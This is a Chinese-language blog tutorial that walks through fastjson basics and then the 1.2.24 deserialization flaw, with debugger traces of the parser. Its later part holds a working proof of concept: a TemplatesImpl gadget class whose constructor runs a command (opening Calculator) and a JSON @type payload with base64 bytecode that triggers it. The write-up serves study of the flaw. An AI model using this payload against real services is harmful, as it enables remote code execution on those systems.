天天看點

從0開始fastjson漏洞分析

  關于fastjson漏洞利用參考:https://www.cnblogs.com/piaomiaohongchen/p/10799466.html

  fastjson這個漏洞出來了很久,一直沒時間分析,耽擱了,今天撿起來

  因為我們要分析fastjson相關漏洞,是以我們先去學習fastjson的基礎使用,如果我們連fastjson都不知道,更何談漏洞分析呢?

  首先先搭建相關漏洞環境:

  使用maven,非常友善我們切換相關漏洞版本:

  pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>groupId</groupId>
    <artifactId>Java_Test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/com.google.common/google-collect -->
        <!-- https://mvnrepository.com/artifact/com.google.guava/guava -->
        <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
    <!--fastjson1.2.24環境安裝-->
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>

        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>RELEASE</version>
            <scope>compile</scope>
        </dependency>
    </dependencies>
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>
    
</project>      

 

從0開始fastjson漏洞分析

  然後點選重新整理按鈕,會自動幫我們安裝相關依賴

  至此,我們就擁有了fastjson環境

  什麼是fastjson?

      fastjson是一個Java語言編寫的高性能功能完善的JSON庫。它采用一種“假定有序快速比對”的算法,把JSON Parse的性能提升到極緻,是目前Java語言中最快的JSON庫。Fastjson接口簡單易用,已經被廣泛使用在緩存序列化、協定互動、Web輸出、Android用戶端等多種應用場景。 

  簡單點說就是幫我們處理json資料的

      搓個demo:

    Student.java:

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){

    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}      

  Teacher.java:

    

package com.test.fastjson;

import java.util.List;

public class Teacher {
    private int id;
    private String name;
    private List<Student> studentList;
    public Teacher(){

    }

    public Teacher(int id, String name, List<Student> studentList) {
        this.id = id;
        this.name = name;
        this.studentList = studentList;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public List<Student> getStudentList() {
        return studentList;
    }

    public void setStudentList(List<Student> studentList) {
        this.studentList = studentList;
    }

    @Override
    public String toString() {
        return "Teacher{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", studentList=" + studentList +
                '}';
    }
}      

  

  編寫測試類:

@Test
    public void fastjson_test1(){
        Student student = new Student(1,"jack",24);
        System.out.println(JSON.toJSON(student));
    }      
從0開始fastjson漏洞分析

  把對象轉換成json格式資料

  支援複雜的對象轉換json處理:  

@Test
    public void fastjson_test2(){
       List<Student> studentList = new ArrayList<Student>();
       for(int i=0;i<4;i++){
           Student student = new Student(i, "jack" + i, 23 + i);
           studentList.add(student);
       }
       List<Teacher> teacherList = new ArrayList<Teacher>();
       Teacher teacher = new Teacher();
       teacher.setStudentList(studentList);
        System.out.println(JSON.toJSON(teacher));
    }      
從0開始fastjson漏洞分析

  除了使用toJSON方法轉換外,還可以使用toJSONString方法:

@Test
    public void fastjson_test3(){
        Student student = new Student(1,"jack",24);
        System.out.println(JSON.toJSONString(student));
    }      
從0開始fastjson漏洞分析

   檢視傳回類型,String類型

從0開始fastjson漏洞分析

  說明是把student對象資料轉換成字元串json資料

  JSON.toJSONString的擴充:   

  需求如下:隻需要Student對象的id和age字段,不要name字段,怎麼做?

@Test
    public void fastjson_test4(){
        Student student = new Student(1,"jack",24);
        //過濾隻要id和age字段
        SimplePropertyPreFilter filter = new SimplePropertyPreFilter(Student.class,"id","age");
        String value = JSON.toJSONString(student, filter);
        System.out.println(value);
    }      

  設定保留id和age字段

從0開始fastjson漏洞分析

  通過上面的學習知道了如果想把對象轉換成json資料可以使用JSON.toJSON,或者使用JSON.toJSONString

  我們繼續學習,下一步我們嘗試把json資料轉換成對象,還原我們的對象:

//反序列化,str類型資料轉換成class類型對象
    @Test
    public void fastjson_test5(){
        Student student = new Student(1,"jack",24);
        String value = JSON.toJSONString(student);
        System.out.println("轉換成json資料");
        System.out.println(value);
        System.out.println("str類型json資料轉換成class類型對象");
        System.out.println(JSON.parseObject(value, Student.class));
    }      
從0開始fastjson漏洞分析

   通過上面代碼,我們可以發現一個重點:

    fastjson會處理字元串類型的json資料,上面的value變量是字元串類型,這對我們後續漏洞分析很有幫助

   繼續擴充JSON.toJSONString:

      

@Test
    public void fastjson_test6(){
        Student student = new Student(1,"jack",24);
        String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(value);
        Student student1 = JSON.parseObject(value, Student.class);
        System.out.println(student1);
    }      
從0開始fastjson漏洞分析

  把結果輸出出來:

{"@type":"com.test.fastjson.Student","age":24,"id":1,"name":"jack"}
Student{id=1, name='jack', age=24}      

  發現多了個@type字段,說明了我們Student對象轉換成json資料的資料類型,告訴我們是com.test.fastjson.Student類型的資料被轉換成json資料了.

  我們繼續學習:

    前面說了fastjson會處理我們的字元串json,直接寫一段字元串json資料:

@Test
    public void fastjson_test7(){
        String jsonStr="{\"age\":24,\"id\":1,\"name\":\"jack\"}";
        System.out.println(jsonStr);
        System.out.println(getType(jsonStr));
        System.out.println(JSON.parseObject(jsonStr));
    }      
從0開始fastjson漏洞分析

  我們這樣寫,會發現最後字元串json沒有轉換成對象

  為什麼? 

  因為fastjson找不到我們要轉換的json資料在哪個類,這裡我們要聲明類型:

  再次修改:

@Test
    public void fastjson_test7(){
        String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}";
        System.out.println(getType(jsonStr));
        System.out.println(JSON.parseObject(jsonStr));
    }      
從0開始fastjson漏洞分析

   有意思的地方來了,聲明類型後的字元串json資料,fastjson并沒有把它轉換成對象:

  深入跟蹤下:

   在JSON.parseObject處打個斷點:

從0開始fastjson漏洞分析

    跟進去:

從0開始fastjson漏洞分析

  繼續進函數:

從0開始fastjson漏洞分析
value=Student{id=1, name='jack', age=24}      

  繼續下一步:

從0開始fastjson漏洞分析
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);      

  判斷引用obj指向的對象是否是JSONObject,如果是就直接傳回,否則就傳回toJSON處理:

  繼續下一步執行:

從0開始fastjson漏洞分析

  熟悉吧toJSON,把我們的student對象再次轉換成了json資料...:

    那麼最後的傳回就是:

從0開始fastjson漏洞分析

  解決辦法:使用parse替換parseObject:

@Test
    public void fastjson_test7(){
        String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}";
        System.out.println(getType(jsonStr));
        System.out.println(JSON.parse(jsonStr));
    }      

  這一次,我們成功把字元串json資料轉換成了對象:  

從0開始fastjson漏洞分析

   可能作為開發,到這一步已經學完了基礎的常用用法,但是對于安全來說,這裡可能是否可能會存在安全隐患呢?

  猜測:fastjson會根據我們申明的類型,fastjson在反序列化我們的字元串json資料的時候,會把它轉換成對象,那麼如果我們的type字段上輸入惡意類,是否會在java反序列化的時候導緻安全問題呢?

  這就是fastjson安全漏洞的最初産生,惡意修改type類,導緻安全問題

   深入研究fastjson的對象轉json,json轉對象的調用機制:

  修改我們的Student.java:

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}      

  消除我們的構造方法:

    編寫測試方法:

@Test
    public void fastjson_test6(){
        Student student = new Student(1,"jack",24);
        String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(value);
        Student student1 = JSON.parseObject(value, Student.class);
        System.out.println(student1);
    }      
從0開始fastjson漏洞分析

  直接報錯了,發現我們json轉str失敗,我們反序列化失敗,報錯提示預設的構造方法不存在,說明前置條件1:fastjson反序列化必須要構造方法

  再次修改student.java:

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你必須調用我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}      

  再次運作上面的測試方法:

從0開始fastjson漏洞分析

    繼續探索:

    再次修改student.java:

   

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你必須調用我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
        System.out.println("setId被調用");
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}      

  在set方法中新增了一條輸出語句

    再次運作上面的測試方法:

從0開始fastjson漏洞分析

  嘗試删除set方法:

    修改student.java:

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你必須調用我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

//    public void setId(int id) {
//        this.id = id;
//        System.out.println("setId被調用");
//    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}      

  代碼中注釋了setId方法

  再次運作:

從0開始fastjson漏洞分析

  結論:反序列化對象的時候,如果對象中的屬性定義是private,那麼必須設定set方法,protected修飾符也是一樣,必須設定set方法

  隻有set方法,沒有定義get方法可以被反序列化嗎?

    注釋掉get方法,保留set方法:

從0開始fastjson漏洞分析

   結論:不可以,最起碼在JSON.parseObject下是不可以的

  總結:使用JSON.parseObject反序列化的時候,屬性字段如果是private和protected修飾的時候,必須有set和get方法,否則可能導緻某些字段反序列化失敗

  再次修改student.java檔案:

package com.test.fastjson;

public class Student {
    public int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你必須調用我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

//    public int getId() {
//        return id;
//    }

//    public void setId(int id) {
//        this.id = id;
//        System.out.println("setId被調用");
//    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}      

    修改private為public,注釋掉set和get方法

  再次運作測試方法:

從0開始fastjson漏洞分析

  結論:public字段下,set/get可有可無

  還是回到priavte字段問題,再次修改student.class:

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你必須調用我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

//    public void setId(int id) {
//        this.id = id;
//        System.out.println("setId被調用");
//    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}      

  注釋了set方法,保留get方法:

   前面說了,set和get方法缺一不可,是以我們JSON.ParseObject,一定是反序列化失敗的

   是否有解決方案?

      修改測試方法為:

@Test
    public void fastjson_test6(){
        Student student = new Student(1,"jack",24);
        String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(value);
        Student student1 = JSON.parseObject(value, Student.class,Feature.SupportNonPublicField);
        System.out.println(student1);
    }      
從0開始fastjson漏洞分析

  Feature.SupportNonPublicField可以讓我們忽略設定set方法,隻要設定get方法,就能達成反序列化

  最終結論總結:fastjson反序列化依賴于set和get方法,而且必須要有構造方法,最優先調用的是構造方法,fastjson設定Feature.SupportNonPublicField,可以忽略set方法,JSON.Parse反序列化和JSON.ParseObject一樣

   好了,基礎部分全部講完了,包括他反序列化和字段以及構造方法的調用問題

  下面介紹fastjson第一個漏洞:

    利用鍊:Fastjson 1.2.24 遠端代碼執⾏&&TemplatesImpl,依賴Feature.SupportNonPublicField 利用鍊比較雞肋

   但是分析這條利用鍊,可以讓你很清楚知道fastjson内部是怎麼進行序列化的,反序列化的,通過前面寫的demo,我們已經對fastjson内部處理對象和json轉換對象有了較為詳細的認知

     poc構造:我是mac,windows直接calc即可:

      Poc1.java:

package com.test.fastjson;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Poc1 extends AbstractTranslet {
    public Poc1() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static void main(String[] args) throws IOException {
        Poc1 poc1 = new Poc1();
    }
}      

  編譯運作一次生成位元組碼,然後全局base64編碼:

從0開始fastjson漏洞分析

   反序列化攻擊:

    AttackPoc1.java:

package com.test.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class AttackPoc1 {
    public static void main(String[] args) throws ClassNotFoundException {
        String payload3= "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":\n" +
                "[\"剛剛生成的base64編碼的位元組碼資料\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":\n" +
                "{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
        JSON.parseObject(payload,Feature.SupportNonPublicField);
    }
}      

  運作: 

從0開始fastjson漏洞分析

   成功指令執行彈窗電腦

  原理分析,先抛出疑惑點:

    去除Feature.SupportNonPublicField還可以指令執行嗎?

從0開始fastjson漏洞分析

  運作沒有指令執行,前面我們學習了Feature.SupportNonPublicField是當我們設定get方法,而沒有設定set方法的補救,即使沒有set方法也會幫我們反序列化成功

  跟進TemplatesImpl類:可以debug進去,這裡我選擇反射進去:

Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");      
從0開始fastjson漏洞分析

   以這個字段為例:

從0開始fastjson漏洞分析

     

從0開始fastjson漏洞分析

  搜尋setOutputProperties:

從0開始fastjson漏洞分析

   是以我們他一定要依賴于Feature.SupportNonPublicField

     打個斷點,深入跟蹤下:

      解決我們的幾個疑惑

      (1)為什麼_bytecodes定義的資料得是base64編碼

      (2)fastjson反序列化是怎麼走的?

  下個斷點:  

從0開始fastjson漏洞分析

  先搞清楚第一個問題bytecodes位元組碼為什麼是base64編碼:

       

  判斷開頭輸入是否是{:

從0開始fastjson漏洞分析

  繼續往下:

從0開始fastjson漏洞分析

  設定token為12,很重要,後面的判斷都要基于token:

從0開始fastjson漏洞分析

  一直下一步執行:

從0開始fastjson漏洞分析

通過loadClass加載我們的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl類:

  集合存儲惡意類:

從0開始fastjson漏洞分析

 然後不斷判斷我們的clazz是什麼類型:

從0開始fastjson漏洞分析

  不符合條件就繼續往下找:

  通過反射擷取所有的方法

從0開始fastjson漏洞分析

 判斷方法的定義規則:

從0開始fastjson漏洞分析

   

if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
                    Class<?>[] types = method.getParameterTypes();      

  方法名字要符合這個條件:

  擷取字段:

從0開始fastjson漏洞分析

  debug真的腦子疼:

  重點來了:

    反序列化字段:

從0開始fastjson漏洞分析

   

  繼續往下跟:

從0開始fastjson漏洞分析

    繼續往下:

從0開始fastjson漏洞分析

   最後出函數調用parseObject:

從0開始fastjson漏洞分析

  最後執行指令:

從0開始fastjson漏洞分析

2.bytescodes base編碼原由:

反序列化的時候調用:

byte[] bytes = lexer.bytesValue();
            lexer.nextToken(16);      
從0開始fastjson漏洞分析

會調用base64解碼:

從0開始fastjson漏洞分析

 靜态調試下:

從0開始fastjson漏洞分析

  跟進方法:

從0開始fastjson漏洞分析

  方法在接口類中,找接口實作類:

    搜尋到一個:

從0開始fastjson漏洞分析

  進去:

從0開始fastjson漏洞分析

  發現是個抽象類:

    java基礎核心概念:    

如果想實作抽象類中的方法,需要子類繼承父類,然後重寫方法.      

  尋找他的子類:

從0開始fastjson漏洞分析

  檢視他的子類:

從0開始fastjson漏洞分析
從0開始fastjson漏洞分析

  他的父類是object:

從0開始fastjson漏洞分析

  選擇他的子類進去看看:

     搜尋byteValue,檢視其函數實作:

從0開始fastjson漏洞分析

    至此第一條雞肋的利用鍊分析完畢,明天我分析下不雞肋的利用鍊,利用jndi注入直接rce